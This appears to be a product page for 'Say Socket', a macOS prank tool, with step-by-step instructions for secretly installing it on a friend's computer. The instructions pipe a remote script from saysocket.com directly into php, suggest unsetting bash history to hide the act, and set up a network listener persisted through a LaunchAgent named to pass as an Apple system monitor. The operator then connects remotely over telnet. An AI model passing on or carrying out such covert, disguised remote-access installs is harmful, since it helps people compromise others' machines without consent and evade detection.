Did you know that OSX (Mac) has a command to make the computer talk?
It's freaking hilarious! After playing around with this new discovery, I began do dream up some troll applications to prank friends using this command. Say Socket is the latest iteration of my say prank scripts. Enjoy!
Signup below to generate an installation command that will notify you by email when the socket is accessed*
- Hop on your buddies computer when they're not looking
- Navigate a web browser (incognito if you want to hide traffic) to http://saysocket.com/
- Enter your email and click "Generate"
- Select & copy the command given
- Open the Terminal (open a new tab if Terminal is already running)
Paste your command and run! (Hit "ENTER"):
$ php <(curl -s "http://saysocket.com/i.php?h=XXXXXXXXXXXXXXXX")
NOTE: If you want to be extra sneaky, disable bash history before running your command:
$ unset HISTFILE
Close the terminal window opened by you
The email you used to generate the installer will be notified once the SS portal has successfully opened
With IP and Port specified in the notification email, connect using telnet
$ telnet [IP ADDRESS] [PORT]This should look something like this:
$ telnet 192.168.1.100 12345
NOTE: If connecting via PuTTY (Windows), use the "Raw" connection type instead of "Telnet".
If your connection is successful, you should see this welcome message along with the say prompt:
____ ____ _ _ / ___| __ _ _ _ / ___| ___ ___| | _____| |_ \___ \ / _` | | | | \___ \ / _ \ / __| |/ / _ \ __| ___) | (_| | |_| | ___) | (_) | (__| < __/ |_ |____/ \__,_|\__, | |____/ \___/ \___|_|\_\___|\__| |___/ Type anything to say it through the socket. To quit, type 'quit', 'exit', or 'shutdown'.
Now anything you type will be spoken by their computer!
Except special characters and existing shell commands
Are they confused and attempting to mute their sound?Instead of entering something silly for their computer to say, use the custom "volume" command
Good thing it comes with a volume override!
The "volume" command will accept integer [0-9] as the volume level
say> volume 9
You got caught and they're pissed.To remove SaySocket completely from their system run:
Good thing it comes with an uninstall script!
The initial install will create "ss_install" and "ss_remove" inside of ~/.bin
The "ss_install" script is a copy of the original install scriptThe removal process should look something like this:
You MUST answer "y" or "n" to all questions asked during removal
Unload launch agent? (y/n) y Remove file: ~/Library/LaunchAgents/com.apple.system.monitor.plist? (y/n) y Remove directory: ~/.AppleSystemMonitor? (y/n) y Remove file: .bin/ss_install? (y/n) y Remove file: .bin/ss_remove? (y/n) y SS removal complete.